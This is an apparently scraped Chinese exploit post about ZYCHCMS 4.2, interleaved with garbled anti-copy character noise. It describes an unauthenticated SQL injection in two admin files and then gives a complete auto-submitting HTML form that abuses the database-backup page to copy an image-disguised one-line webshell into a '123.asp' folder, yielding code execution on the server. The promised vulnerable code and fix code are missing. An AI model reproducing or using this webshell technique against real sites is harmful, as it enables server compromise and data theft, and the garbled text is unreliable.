ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

admin

5 @* V$ L- x0 ^) I
: ~8 n% ^& n; X* X2 s0 s" y; d& s7 @; y

  K" H( T! ~6 g# [# A9 l6 {影响版本：ZYCHCMS企业网站管理系统4.2（存在以下两个文件的版本应该是通杀）
* Y: k9 {" P+ c. Z* ?6 A ①SQL注射漏洞
漏洞文件：/admin/add_js.asp & /admin/add_xm_jiang.asp
4 k0 s! h* L5 x6 z3 U 漏洞原因：未过滤
5 r( _( F8 I6 s3 x 漏洞代码：
. Y0 e! A% y; a0 F3 b. f/ R 都是相同的，文件开头没有调用过滤文件/admin/seeion.asp，导致没有对当前权限进行判断，就直接操作数据库。
修复方法：在文件开头加入代码
8 V# j* l- N" i$ L$ u7 v
8 u0 t( U' f+ x  g
  n# ?; D4 e0 C" U& W  ]8 |②后台拿WBSHELL
; S/ Q4 I) Q$ T: ?3 I8 e 进入后台有一个数据库备份，可以通过本地提交突破创建.asp后缀文件夹，并将一句话备份进去。
这里在网上找了一个，改了下，将就着用。
, A9 I7 H/ K) q7 e& A5 q1 Y4 I 以下是代码本地提交代码

: A& E7 ]% P2 j0 {2 r5 Y+ G) ?1 _
+ R% G' v& v7 e; p<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
<!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
<tr>
' M" |: J, X- i1 m9 M <td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
</tr>
<tr>
<td bgcolor=”#FFFFFF”><span class=”back_southidc”>
1 k: H8 E) |0 d4 S' w8 v </span>
; j& ]9 u# V! A3 O0 O- A; I- k <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
<div align=”left”>
0 D- J8 o( P! I+ S- B' J <input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
. z! f: C1 R5 i2 c7 U <!–eg：../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
<input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
</div></td>
7 U  B& F: n& L$ T$ _ </tr>
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
<td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
<td class=”td”><div align=”left”>
: L# z9 d% s. n- u <input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
6 o- c$ w. b5 @/ Z; v [如备份目录有该文件，将覆盖，如沒有，将自动创建]</div></td>
4 D. X7 P7 g' L1 Y9 {5 F* O </tr>
+ @4 r0 ?0 U  Q" t# v( D$ v <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
<td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
' F/ L& X! K, c2 P6 P+ b, } <td class=”td”><div align=”left”>
<input type=”submit” value=”确定备份” class=”btn”
</div></td>
</tr>
% l) c, V& Y4 o% i' S </table></td></tr></form>
</table>
</td>
- `5 ^9 n" g: N. b/ z </tr>
</table>
# |5 v0 |$ x5 X3 M7 i' d <script>
document.all.add.submit();
</script>
- U7 U; j" h$ y- X# l5 G/ G
1 k: f: g" }1 i* X# o* x. F9 t: v
& K' N7 T! S5 c2 F) C# n' V" ?" F




6 X, B- W' R+ ]5 l3 ~& q# O1 x
* ?' ~% B" |' S' A' Y